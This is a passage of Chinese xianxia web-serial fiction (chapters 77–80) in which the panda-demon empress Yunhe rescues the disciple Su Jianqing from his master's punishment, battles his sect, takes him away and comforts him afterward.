容荌桃眉头紧皱,喃喃道:“连自己的弟子都能下此狠手,真没人性。” 早知如此,她当初就不跑伏渊来了,不仅让她娘亲自离宗,路上惹一身骚,还让这位苏仙君受此重刑。 不过,他可真能忍啊。 容荌桃不由去看阵中那道身影。 一身白衣早已染成血色,浑身遍布剑痕,鲜血滴滴答答往下坠,在他身下汇成水洼。 黑发凌乱披在身后,露在外面的肌肤伤痕累累,伤痕深可见骨,露出皮肉下的白骨。 玄陵立在阵前,神色漠然,“本尊再给你一个机会,你若当着众位长老与弟子的面认错,下山诛杀妖女,本尊便可饶你一次。” 苏见清缓慢俯首,身上鲜血随着他的动作往下涌去,他动得极为艰难,话音缓慢却极为清晰。 “师尊,弟子……恕难从命。” “好好好!” 玄陵怒极反笑,“本尊与伏渊养育你多年,竟比不上一个妖女,你可真是本尊的好弟子啊。” 手背青筋暴起,他听到那道多年前的声音。 “比不上,从来都比不上!” 猩红从玄陵眸底溢出,他骤然伸手,双手成印,“阵起!” 周身阵光大亮,苏见清抬首。 头顶灵剑凛然森冷,三道剑气齐齐坠落,穿过他的身体。 一剑刺穿肩膀,一剑刺向小腿,另一剑…… 小腹传来剧烈疼痛,苏见清忽然呛咳一声,嘴角鲜血溢出,五脏六腑仿佛在同一时间被剑气穿透。 恍惚中听见咔嚓一声轻响,身上似破了个洞,灵气从洞内泄出,飞窜着逃离他的身体。 他的元婴……碎了。 “师尊!” 褚潇潇哭着大喊:“再这样下去,师兄会死的!你快住手啊师尊!” 玄陵充耳不闻,手中法印成形,不管不顾再度降下剑气。 神思混沌间,苏见清好似看见了他眼中深藏的恨意与杀意. 为什么? 师尊好像……真的想杀他。 苏见清抬头,迎上那道剑气。 也罢,他能有今日,本就是师尊给的。他若想收回去也是应该的。 只是可惜,死前没能见到阿蕴姑娘一面。 她是不是……还在生他的气? “苏师弟!” “苏师兄!” “仙尊,求您饶他这一次吧!” 头顶剑光亮得苏见清快要睁不开眼,他听不太清齐岱等人在说什么,浑噩间余光闯入一道绿光,那绿光越来越近,越来越亮,猛地与剑气相撞。 “轰——” 阵法被滔天力道震碎,尘埃散去后,苏见清的身前赫然斜斜插入一根…… 竹子?! 与此同时,天边被莹莹绿光覆盖,冲天妖气萦绕整座伏渊仙山。云雷滚滚,山雨欲来。 一道光束穿过绿光照在苏见清身上,他身上的伤势以肉眼可见的速度愈合。 冷漠狂悖的女声响彻沉霄峰,话中嚣张之意扑面而来。 “狗杂碎,谁给你的胆子动本皇的人?” 第77章 玄陵霍然抬首望向妖气弥漫的天空,脸色冰冷,沉着嗓音道:“来者何人?” 绿色妖气如海浪翻涌,冷漠狂傲的嗓音从四面八方压来,“你祖宗奶奶!” 妖气中,有道身影逐渐清晰。 她踏空而来,每走一步,身后皆有浓烈狂暴的妖气滚动,绿色荧光如石阶出现在她足下,闪烁着诡谲森寒的光。 身着绿衫的姑娘凭空而立,眉宇冷冽,眼中皆是傲视群雄的不可一世。 “踏、踏空……她、她是大乘境的妖修!” 人群哗然,议论纷纷。 “整个修真界才几个大乘境,她、她究竟是何人?” “仙尊、仙尊他打得过这个妖女吗?” 弟子们窃窃私语,人心不平。 蕴禾的视线漠然从这些人身上掠过,瞧见满身是伤的苏见清,心火翻涌,怒气几乎烧穿了理智。 她居高临下地睨着下首的玄陵,冷冷勾唇,“听说你在找我,准备拿我的血祭奠你玄清域的百姓?” 玄陵冷声,“妖女,你既然自投罗网,本尊今日定要将你拿下。” “好!好个玄陵!” 蕴禾朗声大笑,“那本皇今日就看看,你怎么将我拿下!” 话落,她眸色骤冷,掌心妖力涌动,苏见清面前的竹子当即朝她飞去。 蕴禾勾唇,“让本皇见识见识,属于玄清域仙尊的本事!” “轰——” 她单手持棍,当头朝着玄陵砸下! “剑来!” 玄陵低喝一声,一直垂在苏见清头顶的灵剑倏忽飞到他掌中。 他飞身而上,持剑相挡。 绿色妖气与冰蓝色剑气相撞,巨大的能量波动自二人中心爆开,霎时间,数个修为低下的小弟子惨叫一声倒飞出去。 一道剑气将小弟子们卷回来,典淮俊美无俦的脸上映着威严,低声喝道:“众位弟子长老听令,起结界,备战!” “是!” 长老们升起结界,护住沉霄峰内的弟子,一面握住手中之剑,目光炯炯,严阵以待。 典淮复杂地看了眼苏见清,对方若望道:“照看好你苏师弟。” 方若望:“是。” 他与齐岱一左一右将苏见清扶起,“苏师弟,你怎么样?” 苏见清怔忪望向半空中的蕴禾,“阿蕴姑娘,她……” 齐岱抬头,眼睛被刺目剑光刺了一瞬,那威压恐怖得他不敢多看,急急收回视线,对蕴禾的敬佩之心油然而生。 安慰道:“苏师弟放心,你那阿蕴姑娘瞧着如此厉害,肯定能全身而退。” 苏见清抿唇,坚持仰头,眼里交织着担忧。 …… 这位玄清域的玄陵仙尊的确有几分真本事。 他很强。 这是蕴禾此刻的念头。 不过她这妖,最擅长的就是将各种强大的妖修、人修踩在脚下。 侧脸躲开玄陵刺来的剑,蕴禾右掌一甩,棍风呼啸,翠绿竹子在背后旋转,瞬间转移到左手。 她反手一砸,青竹迎上玄陵的凌霄剑,铿锵之声仿佛敲击在鼓面的鼓点,听得下方之人紧张不已。 一击不成,蕴禾神色不变,一根青竹被她使得出神入化,与玄陵的剑相交之时,快成残影,难以捕捉踪迹。 许久不曾找到玄陵的破绽,蕴禾并不心急,一边应招,一边寻找时机。 二人棍剑相撞多次,终于在某一次,玄陵的目光与蕴禾相对。 她在瞬间使用神控术。 【玄陵,你的破绽是什么?】 玄陵冷漠如寒霜的眸光终于有了变化,微微恍惚一瞬,不由道:【她……】 下一瞬,他陡然清醒过来。 可惜已经完了。 蕴禾嘴角牵起一抹笑,青竹大亮,以迅雷不及掩耳之势当头砸下! 这一棍正正砸在玄陵肩头,他身形一滞,握紧凌霄。 冷傲女声落下,“还没完。” 棍风裹挟着怒意砸向玄陵脑袋,他头被打得重重一偏,瞳孔紧缩。 从见到苏见清起,蕴禾心里就一直憋着火气,如今对上罪魁祸首,自然毫无余力地尽数释放。 青竹顶端的竹叶忽然脱落,齐齐朝着玄陵飞去,在靠近的刹那霍然炸开—— 绿色光波犹如一场白日焰火,映照在所有人眼中。 身处爆炸中心的玄陵手背被炸伤,露出斑驳血痕。 这还不够。 蕴禾眸色一冷,拎起青竹飞身而上,一棍朝着玄陵脑袋砸下! “轰——” 一道身影如山崖滚落的碎石,疾速朝着沉霄峰坠落。 落地的瞬间,峰上传来噼里啪啦的响声,整座沉霄峰仿佛被人用剑劈成了两半。 霎时间地动山摇,精致琉璃瓦、凶神恶煞的凶兽、精美的玉石……齐齐朝着缝隙滚落。 沉霄峰……居然就这么毁了。 这是伏渊所有弟子这一刻的想法。 容燕拉着容荌桃快速飞往空中,拽着女儿低声警告,“从今日起,把你对苏见清的心思都给我收住,这样的人不是你能惹的。” 容荌桃小鸡啄米点头,乖巧得不行,“娘你放心,我知道的。” 敢和这么厉害女妖修抢男人,她是怕自己死得太晚了? 男人多的是,还是小命要紧。 混乱中,典淮喝道:“一部分长老护住弟子,另一部分随我杀敌!” 他握住烈阳,眸色冷冽,“杀!” “杀!” “杀!” 无数道杀声响应,蕴禾单手拎着青竹立于云端上,神色冷凝,却丝毫不惧,轻蔑道:“来,让本皇看看,所谓伏渊仙门,究竟有什么本事!” 典淮怒,“休要辱我仙门!” “妖女受死!” 一时间,长老们纷纷持剑迎敌。 “我去。” 齐岱和方若望护住苏见清撤离沉霄峰,眼见这以一敌众的场景震惊得合不拢嘴,“苏、苏师弟,你这阿蕴姑娘究竟是什么来头?这、这这这也太厉害了。” 成佩兰心中烦躁,瞪他一眼。 她虽然高兴有人来救苏师兄,可长老们也是她的亲长,她实在不愿看见他们受伤。 成佩兰咬唇。 苏见清仰望空中战况,语气里透露着迷茫,“我、我也不知道。” 就在这时,一道身影忽然从沉霄峰中飞出,凝聚着滔天气势的剑气朝中心的蕴禾而去。 苏见清下意识攥拳,眼神担忧。 阿蕴姑娘…… …… 大乘境的修士难杀,这是修真界公认的共识。 蕴禾也知自己方才的攻击杀不了玄陵。可没想到,他竟然用这么短的时间就恢复了。 瞧着朝她攻来的玄陵,蕴禾冷笑一声,语气调侃中带着讥诮,“诶,你们伏渊的仙尊破相了诶。” 玄陵方才被蕴禾打了好几棍,有一棍正好落在脸上,此时他白皙俊美的侧脸横贯一道棍痕,犹如完美无瑕的美玉染上瑕疵。 身侧有个长老听见这话,下意识偏头去看,被蕴禾一棍打落。 “卑鄙,无耻!” 一名长老指着蕴禾骂。 蕴禾无所谓地拂了拂鬓边白发,“你们不是说我是妖女?妖女当然要卑鄙无耻了。” 说话间,她又是一棍打落一名长老。看得典淮暗恨。 “师兄!” 见玄陵来到身侧,典淮沉声道:“我们一起拿下这妖女!” 玄陵神色晦暗,一言不发持剑攻去。 蕴禾讥笑一声,“不怕死的尽管来。” “一起上!” 典淮剑气如烈火炎炎,灵根属性不同的长老们齐齐向她攻来,蕴禾一棍打落数道剑气,转身之时,冰蓝色剑气倏忽而至。 她举起青竹格挡,身后骤然数把灵剑攻来,炽烈火息几乎要将她的身影吞噬。 “滚开!” 左袖狠狠一挥,一道妖力泄出,将长老们的灵剑挥开。 蕴禾正要反攻,玄陵神色陡然一厉,低喝道:“破!” 剑光大盛,蕴禾避之不及,正正撞上这一剑。 接连倒退数步,她拂了拂心口,语气不明道:“很好。” 她已经许久都没受过伤了。 玄陵,典淮,伏渊,好,很好。 既然要闹,那就闹个大的! 蕴禾霍然抬睫,眸中绿光盈盈。 绿衣姑娘的身影消失不见,取而代之的,是一只小山大小的食铁兽。 食铁兽似人站起,舒展身子,下一刻陡然发出一声巨吼。 她挥出一巴掌,掌风挥向沉霄峰隔壁的主峰,霎那间山峰震裂,山石轰隆隆往下掉落。 震裂声,尖叫声混杂在一起。 “绿真姐姐,那、那不是……” 成佩兰忽然攥住胥绿真的手,不可置信地望向天空,失声道:“那不是云团吗?” 苏见清霍然抬首。 眼中的食铁兽除了大小,与他青竹峰上的云团别无二致。 阿蕴姑娘……是云团?! 胥绿真失真的嗓音同一时间传来,“真的是云团。” 苏见清怔怔失神。 “我的峰!” 典淮惊怒交加,额角青筋暴起,“混账东西,我定要拿……” 玄陵忽然抬手拉住他的衣袖,冷声道:“住手!” 听着耳畔轰隆隆的响声,瞪着那仍在作乱的食铁兽,典淮愤怒不解,“师兄,那妖女……” 玄陵将之打断,目光幽深,眸底晦暗不明,“本尊或许知道她是谁了。” 什么? 典淮正要追问,忽然一声清唳鸣叫自山下传开。 数道纯净青光穿过云霄,落于伏渊。 那是一群青色鸟妖,翎羽光洁平滑,青光湛湛,熠熠生辉。尾羽拖得极长,翅膀扇动间无数荧光簌簌而落,高贵优雅,惊艳众人。 一道纤细身影站在为首鸟妖身上,她生得极美,清丽高雅,眉目寒霜。 单手放于胸前,下颌微收,清冷空灵的嗓音随之落下。 “青鸾族族长清淼,接陛下诏令,特携青鸾十六卫前来接应。” 她忽然单膝跪下,恭声道:“见过吾皇。” 青鸾十六卫口吐人言,齐声道:“见过吾皇!” 清冽悦耳的嗓音在空中回荡,震得伏渊上下倏然缄默,这片天地陷入沉寂,唯有噼里啪啦掉落的碎石声分外清晰。 第78章 玄陵握紧灵剑,语调听不出丝毫情绪,“原来是东隅城的幽皇陛下。” 典淮霍然抬首,不可置信道:“你是妖域妖皇?” 妖域虽封闭多年,但玄清域各大宗门掌门关于妖域妖皇的名头还是知道的。 听说她是只女妖,在各大妖王间横空出世,杀死所有绊脚石夺得妖皇之位,是个杀伐果断的狠角色。 这样的妖,居然和苏见清扯上了关系? 妖皇两个字一出,伏渊上下瞬间哗然。 “妖……皇?” 听着耳畔窃窃私语,苏见清凝视着那道庞大的身影,齿间溢出喃喃声。 “妖妖妖皇?!” 齐岱结结巴巴道:“我没听错吧,那位阿蕴姑娘居然是妖、妖皇。” 方若望神色越发忧虑,“你没听错。” 嗓音低沉,听得齐岱一怔,“你……” 一个字刚出口,他偏头去看方若望的神色,倏然闭上嘴。 成佩兰震惊又惊喜,“绿真姐姐,云团居然是妖皇?那今日的事……” 胥绿真对她轻轻摇头,低声道:“先别高兴得太早。你看。” 成佩兰抬头,霍然发现,掌门和诸位长老的神色越发冷沉。 她眉心一跳。 …… 半空中,又有数座山峰轰隆倒塌。蕴禾瞧着这极为壮观的一幕遗憾收手。 她重新化为人形。一步步踏空走到清淼身侧,神色睥睨不可一世。 “正是本皇。” 典淮紧紧盯住她手中的竹子。 一点翠色战群雄,东隅幽皇号万妖。 传言妖域妖皇当初仅凭借一根平平无奇的竹子,将众位妖王打得屁滚尿流,连声臣服。她将妖域皇城改名为东隅城,自称幽皇,从此号令群妖。 在桑若城时瞧见那根竹子,他竟丝毫未曾联想到妖皇身上,导致师兄误会,见清受罚。 典淮握拳,心有懊恼。 蕴禾不管这些人修在想什么,单手挽了个棍花,冷漠道:“还打吗?” 作为伏渊仙门的掌门,典淮一向负责与外宗交流,此刻站出来先发制人,“妖皇陛下不由分说伤我伏渊仙尊,毁我伏渊根基,是想与玄清域开战吗?” 蕴禾不屑,“什么时候,伏渊能代表整个玄清域了?” “不过,你们伏渊仅是因为一个弟子与妖修相交,就将人伤成这样,是何意?” “怎么,这偌大的修真界只能有你们人修不成?你们是容不下我妖修?要搞党同伐异那一套?” 她嘴角上扬,恶意满满道:“若是如此,本皇也并不介意开战。” “我妖族妖修,最不惧战。” 这句话说得自信十足而掷地有声,任何人都能听出并非笑语。 一时间,伏渊上下包括长老和弟子皆脸色大变。 “阿蕴姑娘,不要!” 苏见清急急出声。 他挣脱齐岱和方若望的手,匆匆往前迈步。 走得太急拉扯住伤口,苏见清身形猛地僵硬,锥心之痛自灵府蔓延。 他艰难喘气,眼前晕眩,直*直倒了下去。 “苏师弟!” 苏见清。 蕴禾眸色微惊,一道妖力自袖中飞出,卷向苏见清的身体。 恰在这时,玄陵陡然出手,剑气疾速袭向蕴禾的妖气,将之拦截在半路。 典淮趁此机会,飞身去接苏见清。却有一道青光比他更快。 清唳鸟鸣声后,苏见清的身体稳稳落于青鸾鸟背,被他驮着飞到蕴禾身侧。 清淼放下苏见清,对身下青鸾卫道:“做得不错。” 青鸾卫鸣叫一声,声音里满是欣喜。 典淮惊怒,“妖皇未免欺人太甚!见清乃是我伏渊弟子!” 蕴禾云淡风轻道:“从现在起,他不是了。” “什么?!” “玄陵,我给你两个选择。” 蕴禾转向玄陵,“一,本皇公然向你伏渊宣战,你带着这些人,堂堂正正与我一战。” 视线从长老弟子们身上掠过,她扬唇,“这第二嘛。” “苏见清是本皇的,本皇将他带走,今日之事,我既往不咎,如何?” 玄陵沉着脸,“妖皇这是何意?” “你耳朵聋了,听不见吗?” 蕴禾不耐,“我说,我要苏见清,只要他一人。” 她挥挥手,望向延绵起伏的伏渊仙山,笑意玩味,“用一个苏见清换整座伏渊,这桩生意很划算,不是吗?” 玄陵神色骤然一厉。 “师兄!” 典淮急声道:“不可。” “仙尊请三思啊。妖皇一怒,伏尸万里,伏渊敌不过一整个妖域!” “是啊仙尊,没了一个苏见清,仙尊还能有更多弟子,可伏渊若是没了,那就什么都没了!” “请仙尊大义为重!” “请仙尊大义为重!” 一道道声音在玄陵耳畔响起,他眸色不断变化,似是在挣扎。 片刻后,他猛地闭了下眼,“好,本尊同意了。从此以后,苏见清不再是我伏渊弟子。” 典淮惊,“师兄!” 蕴禾意味不明地笑笑。可惜苏见清现在昏迷不醒,不然她真想让他看看,他视为亲父的师尊,和视之为家的伏渊是怎么放弃他的。 “行,你可要说话算话。” 玄陵面无表情,“自然。” “那就最好不过了。” 蕴禾走向青鸾卫,落在清淼身侧,高声喝道:“带着我妖族的妖后启程,回妖域。” “迎妖后,回妖域!” 一名青鸾卫将“迎”字说成了“抢”,他声音极大,刹那间传遍所有人耳中。 长老们面色铁青,却也只能任由他们离去。 蕴禾站在青鸾卫背上,忽然偏了偏头。 她从青竹上摘下两片叶子,轻轻吹了口气。叶子瞬间变为两根一模一样的青竹。 蕴禾将之握住,往后一掷。 尚未离去的伏渊众人只见一道绿光袭向伏渊山脉,霎那间“轰轰轰”炸成一片! 惊怒间,又有一道妖气袭向玄陵。 后者反应极快召唤出灵剑抵挡,然那青竹在撞上灵剑的瞬间,猛地爆炸开。 “轰——”一声,玄陵周围气浪翻滚。 高空之中,一道懒洋洋的声音道:“提前让你们看烟火,不用谢。” “妖皇!你奸诈!” 怒骂声中,容荌桃怔怔看向蕴禾远去的方向,小声道:“娘,这位妖皇好霸气。” 知女莫若母,容燕狠狠在女儿头上敲打一下,“不该惹的人别惹,将她惹怒,你娘我可救不回来。” “眼下伏渊大乱,我们先走一步。” “哦哦,好。” 混乱中,谁也没发现这对母子早已溜之大吉。 余波散去后,典淮奔向爆炸中心。 玄陵完好无损站在原地,眸光沉沉,如夜晦涩。 典淮落到他面前,急声道:“师兄,你怎么能让那妖皇把见清带走了?他可是……” 玄陵竖起手掌,阻止典淮接下来的话。 “本尊自有分寸。” 典淮烦闷不已。 这人都走了,还要分寸作甚? 玄陵似是知道他在想什么,嘴角一牵,笃定道:“他会回来的。” 典淮起初不解,可见他如此笃定,心头大石也落了三分。 “那我现在就召集弟子查看此次的损失。” 玄陵颔首,“嗯。” 人群里,齐岱呆呆地望着天空,攥住方若望的手,“苏、苏师弟这就被带走了?” 成佩兰闷闷道:“现在可不能叫师弟了。” 她眼里冒出泪花,“被长老们听见,可是要挨骂的。” 胥绿真低声道:“我们在心里念着他就好。” 方若望沉沉叹了声气,“希望苏师弟去了妖域,也能无拘无束,自在逍遥。” …… “他怎么还没醒?” 浑浑噩噩中,苏见清听见一道明显带有焦急的女声。 那声音很熟悉,听得他心脏重重一跳,挣扎着想从黑暗中醒来,睁眼看看她的脸。 另一道如沁冰雪的嗓音道:“他伤势严重,又碎了元婴,若非陛下救治及时,怕是要废了。如今已经是最好的结果,陛下稍安勿躁,耐心等等。” 熟悉的女声低低哦一声,过了片刻,她陡然咬牙道:“该死的玄陵,别再让本皇看见他,以后见他一次打他一次。” 蕴禾甚至后悔离开时的那一击威力不够,没能把玄陵炸得头发开花。 玄陵? 这个名字唤起了苏见清的神智,他霍然睁眼。 光线刺眼,他侧眸避了避,下意识唤出那个名字。 “阿蕴姑娘。” 听见这道细微的声音,蕴禾瞬间移至床边,望着那张苍白的面容。 “你醒了?” 一个呼吸间,方才站在自己面前的身影就不见了。 清淼摇头,嘴角扬起一个并不明显的弧度,转身出去,将房间留给屋中二人。 “阿蕴姑娘,你……” 蕴禾打断他,“我叫蕴禾,禾苗的禾。” 苏见清微怔,这个名字在唇齿间绕了一圈,轻轻吐露,“蕴禾。” “很好听的名字。” 蕴禾挠挠脸,眉尾上挑,理所当然道:“我的名字当然好听。” 苏见清眉宇舒展,嘴角带着浅笑。 下一瞬,两道长眉骤然蹙起,急声道:“玉妖。” 蕴禾纳闷,“什么玉妖?” “在观沧海,后饶曾经豢养过一只玉妖,后饶死后玉妖不知所踪,她后来幻化成你的模样,在明城兴风作浪,害死不少无辜百姓,正因如此,师尊才会对你有如此大的恶意。” 蕴禾沉下来,不高兴道:“玄陵都已经把你逐出师门了,你怎么还叫他师尊?” 苏见清僵住,“你说什么?” 第79章 “你没听清?那我给你重复一遍。” 蕴禾低头看向苏见清,“我问玄陵,是想让我派兵攻打伏渊,还是要你这个弟子。” 面对年轻剑修瞬间惨淡的脸色,她眸色锐利,声声如刀,似要割开他心里的疮痍。 长痛不如短痛,既然已经离开了伏渊,那就别再给他希望,让他心里存着未来还能回去的念头。 蕴禾直视苏见清,冷声道:“他选择了伏渊。” 苏见清呆怔怔地愣了许久,胸前骤然剧烈起伏,他大喘了一口气,唇色苍白道:“师尊的选择没错,哪怕是我面临他今日的境地,也会做出相同的选择。” 蕴禾不可置信地瞪大眼,险些伸手去戳苏见清的脑袋,“你没事吧,他都放弃你了,你还为他说话?” 苏见清扯了扯唇,“阿蕴姑娘,师尊自幼教导我以苍生为重,若舍我一人能换得天下安宁,苏见清虽死不悔。” 蕴禾恨不得把苏见清的脑袋撬开,看看那里面装的究竟是什么模样的浆糊。 她冷笑,“玄陵可当真把你教得极好。” 满脑子的天下苍生,也不看天下苍生需不需要你。 哦对,他是那劳什子的天降命主,注定要去拯救苍生的。 想到这儿,蕴禾更气了。 她睨着苏见清,气到破音,“可惜了你这位救世主现在落在了本皇的手里,你还是乖乖和本皇回妖域吧。” 苏见清迟钝道:“你、你要带我回妖域?” “怎么,觉得屈辱了?” 蕴禾讥笑,“从玄陵仙尊的首席大弟子,到本皇殿中一名最低下的厨子,落差太大,难免让人心中难受,可谁叫你被逐出了师门,如今已无家可归?” “除了跟本皇回去,你还能去哪儿?” 苏见清上睫微抬,轻声道:“阿蕴姑娘误会了,我并未觉得屈辱。” 蕴禾冷声,“那你震惊什么?” 苏见清苍白的唇瓣微抿,“我只是惊讶,阿蕴姑娘宁愿冒着暴露身份的危险也要来救我,好似……” 他的声音低了下去,“好似冰天雪地里忽然出现的一抹火光,令我心生欢喜。” 蕴禾被他这句话说愣住了。 年轻剑修的伤势未愈,面无人色,两瓣唇仿佛月下纯净皎洁的昙华,透着脆弱的美感。 蕴禾怔怔看了他片刻,仓促转过头去,低咳一声,“看在你这么会说话的份上,等你到了东隅城,本皇就勉为其难给你一个妖皇御用厨子的身份。” 苏见清嘴角绽开一抹笑。笑完,他欲言又止,“阿蕴姑娘,我……” 蕴禾横他一眼,“别说你不想去妖域的话,本皇不听。” 她哼一声,“行了,你的身体尚且虚弱,好好歇着吧。” 苏见清目送着她的身影从屋内消失。 …… 苏见清伤势过重,哪怕蕴禾手握无数灵丹妙药,虽暂时治愈了他的外伤,却也无法修复他破碎的元婴。 顾及到苏见清的伤,蕴禾并未立即离开玄清域,反倒是随意选了座城落脚。 怕苏见清一个人待在屋内无聊,她日日都去与他说话。 这日,蕴禾推开房门,床上的人立马背过身去。但即便如此,她依旧瞧见了他眼里暗含的水光。 蕴禾眉头瞬间皱紧,快步近前问:“你怎么了?” 苏见清嗓音闷闷的,“没、没什么。” “没什么你哭什么?” 苏见清:“……我没哭。” 蕴禾:“你现在老实交代,免得我一会儿不给你面子直接与你动手。” 过了许久,就在她的耐心逐渐消失时,背对着蕴禾的人慢慢转身坐起。 蕴禾仔细盯着他的脸看。 养了几日,苏见清的脸多了几分血色,看着倒无之前的惨白。 白净的脸被枕头压出浅痕,一双凤眸夹着轻轻浅浅的光,水光潋滟,破碎可怜。 蕴禾单手撑在床沿,右手食指轻触苏见清的眼睛。 她看着指腹浅浅一层水光,外头问苏见清,“没哭的话,这是什么?” 苏见清哑口无言。 蕴禾又问:“怎么了?谁欺负你,你告诉我,我去给你出气。” 声音比方才低了好几个度,隐带舒缓的温柔。 苏见清偏过头去,避开蕴禾的视线,低声道:“我只是想不通,师尊为何如此对我?” 妖族偏安一隅多年,并未对玄清域造成伤害,为何师尊就是对他与阿蕴姑娘相交一事如此反对,甚至大发雷霆。 他已经下定决心,此生都将留在伏渊守护苍生,为何师尊偏偏执意要他迎娶合欢宗圣女? 为什么? 苏见清想不明白。 “什么?” 蕴禾大怒,“那老不死的还要你迎娶什么合欢宗的圣女?” 她原以为苏见清是与玄陵辩解,不愿与她刀剑相向才被处罚,原来竟是因为那狗屁仙尊乱点鸳鸯? 什么狗东西,当初在伏渊时她怎么没能把他头打爆呢? 便宜他了。 蕴禾咬牙切齿。 听见“老不死的”四个字,苏见清欲言又止。 师尊的年纪在修真界并不大,相反,三百岁的大乘境,已经算是年轻了。 但蕴禾尚处在愤怒中,基于某种羞愧的隐秘心思,苏见清并未解释。 恼怒完,蕴禾摆手,“算了,别再想他了。能把你伤成这样,说明你师尊并未把你放在心上。你何至于因他伤心哭泣?” 蕴禾握住苏见清的手,认真道:“以后你就跟着我,我罩着你。” 后面的话苏见清并未听进去,他满心只有那句,“他并未把你放在心上。” 心里仿佛被什么东西击穿,他呆滞了许久。 这么多年,师尊……当真从未把他放在心上吗? …… 为了不让苏见清待在屋里继续胡思乱想,蕴禾带他离开客栈,在城内闲逛。 这座城在玄清域规模较小,虽然算不上富庶,但百姓安居乐业,也算安宁。 自从离开客栈,苏见清就一直都是一副游魂的样,失魂落魄的也不知道在想什么。 蕴禾看不过去,拽住苏见清的手,强迫他从失神的状态中醒过来。 “你看那边。” 她指的是卖花灯的铺子,可苏见清视线转过去,却定格在花灯旁的人身上。 蕴禾见他又开始出神,拧眉看过去,“你怎么……” 话音骤然顿住。 辉煌灯火下站着一家人,少年缠着母亲道:“娘,你就让我再买一本入门心法吧,这次我一定能学会!” 母亲不耐烦道:“都说了是假的,你这孩子怎么就不信呢?” “总不可能每本都是假的吧?娘,你就再信我一次,我求求你了。这次要是再不行,我肯定听你的话,乖乖留在城里学手艺。” 母亲还未答话,一旁的父亲忍不住道:“一本心法而已,孩子想要就给他买嘛,反正也不值几个钱。” 另一旁身形略显高挑瘦弱的少年也帮腔,“娘,哥哥这阵子这么听话,你就大发慈悲同意他买吧。” 母亲被缠烦了,松口道:“行行行,我买,我买还不成吗?” “一个个的都是我祖宗!” 少年眉开眼笑,揽着母亲的脖子在她脸上亲一口,“娘,你最好了!” 母亲面色嫌弃,眼里却含着笑,“去去去,上一边去。还不赶紧去买?买完赶紧回家。” “好,我这就去!弟,咱们快走!” 兄弟俩接过银钱,快步走到铺子里买心法。 片刻后,两人一道折回,用剩下的银钱买了两盏灯笼。 “爹,这盏莲花灯给你。娘,这盏是你的。” 母亲不情愿道:“凭什么你爹的是莲花灯,轮到我就是盏老虎?” 少年嘿嘿笑道:“老虎厉害啊,娘最厉害了!” 母亲没好气地瞪他一眼,“你就贫吧!” 一家四口提着灯,说说笑笑往家里走去。 “先说好了,这次要是再不成,你必须老老实实听我的去学手艺,再不准做什么成为修士的白日梦。” “我知道了,知道啦娘。” 四人往蕴禾与苏见清的方向走来,他忽然背过身去,余光瞧见他们与自己擦肩而过,注视着四人的背影,久久不能回神。 蕴禾在一旁看着,“上次我就怀疑你认识他们。这次一见越发笃定了我的想法。” 方才那母子三人,分明是他们前往观沧海的路上见到的那三个。 她偏头去看苏见清,“他们到底是你什么人?为何每次一见他们,你都会失态?” 苏见清目光落在人群中。 一家四口没入人群,再寻不见踪影。 夫妻俩平和幸福的面容在眼前浮现,苏见清垂下眼睑,哑声道:“是我的父母。” “我是师尊从山下抱回去的,自我懂事起,身边便唯有师尊与师叔。父母两个字,还是我识字后从书里学来的。” “那个时候,我日日在脑海中幻想父母的模样,悄悄向师叔打听他们的所在。后来实在忍不住,瞒着所有人偷偷下山,用刚学会尚且不熟练的御剑术,磕磕绊绊地去寻父母。” 可等他好不容易找到他们时,他们身边却已经有了别的孩子。 苏见清眸色暗淡,双唇轻抿。 蕴禾早有猜测,倒是并未惊讶。 只是…… 回忆起那对夫妻的相貌,再看看苏见清,她无论如何也找不出相似之处。 还有那对兄弟,生得也就算清秀,虽然并不难看,但与苏见清也无半分相像。 这都是一家人,怎么差距如此大? 怕是苏见清找错人了吧。 第80章 蕴禾忍不住问:“你有没有想过,或许你找错人了?那对夫妻实非你的亲生父母。” “不可能。” 苏见清摇头,“师叔不会骗我。” 典淮或许没骗你,但倘若你那时年纪尚小,找错位置了呢? 蕴禾默默吐槽。 可事关父母,苏见清又不是马虎大意之人,定会再三小心确认。何况当初那对兄弟的确说过有个在仙门求道的大哥。 如此说来,他们当真是苏见清的父母? 蕴禾仍是心存疑虑。 见苏见清神色失落,她忍不住道:“这么多年没有他们在,你不也一样过来了?没有父母不算什么,我也没有,不也成了妖皇?” 她本是随口一说,苏见清却听进耳里,怔然道:“阿蕴姑娘,你的父母……” 蕴禾眸色微凝,表情僵住。 苏见清立马道歉,“阿蕴姑娘,对不起对不起,我不是故意的。” 年轻剑修眉峰蹙起,眼里映着灯火,蕴禾竟看出了几分楚楚可怜的味道。 “你道什么歉?本来就是我先提起的。” “我的父母……” 蕴禾抬头望天。 一颗流星恰在此时从漆黑天幕中掠过,她嘴角轻轻上扬,低声道:“在我很小的时候就不见了。” 苏见清怔住。 蕴禾忽然起了谈兴,拉着他跃上屋檐。 双手撑着瓦片迎风而坐,她说起那段早已被掩埋在时间长河里的往事。 “食铁兽向来不喜族居,我出生起就随父母住在山林里。他们喜欢用青竹做屋,我那时尚未化形,不懂他们为何要用食物做屋子,每每都会趴在墙上,把屋子啃得乱七八糟。事后还要抱怨这竹子一点也不好吃。” 苏见清坐在蕴禾身边,听着这话,脑海里涌现出小食铁兽抱着墙壁啃的画面,神色一点点柔和下去。 垂在屋檐外的双腿轻轻晃悠,蕴禾接着回忆,“我脾气霸道,幼年时是我们那一片的小霸王,不管是小狮子还是小老虎都被我揍过。他们打不过我,只好回家请父母出面。” 蕴禾鼓着腮帮子不满,“我爹娘分明是食铁兽,面对他们却一点都不霸气,总会好声好气与人道歉。” “我不服,和他们大吵一架,我爹舍不得骂我,但我娘舍得啊,把我拎起来狠狠揍了一顿。” 想到小小一团食铁兽被娘亲揍得哇哇乱叫,苏见清拧眉,不由道:“你还小,犯了错好生教育即可,令堂怎么能动手?” 蕴禾哈哈大笑,“你这话和我爹说的一模一样。” 她偏头看过去,“你以后该不会也……” 撞进那双装着她身影的清澈双眸,蕴禾把剩下的话咽回喉咙里。 “该不会什么?” 苏见清问。 “没什么。” 蕴禾转过视线,望着满天繁星,接着道:“我那时候脾气大又倔,我娘说什么都不听,有一段时日闹得那一片山脉鸡犬不宁,小妖们听见我的名字掉头就跑。” 她弯弯眼,“他们都说,我长大后绝对能成为妖族一霸,或许还能当上一方妖王。” “不过……” 苏见清情不自禁追问:“不过什么?” 蕴禾嘴角笑意散去,面色冷凝,“还没等我长成妖王,我爹娘就死了。” 苏见清张张唇,轻声问:“为什么?” “哪有这么多为什么。” 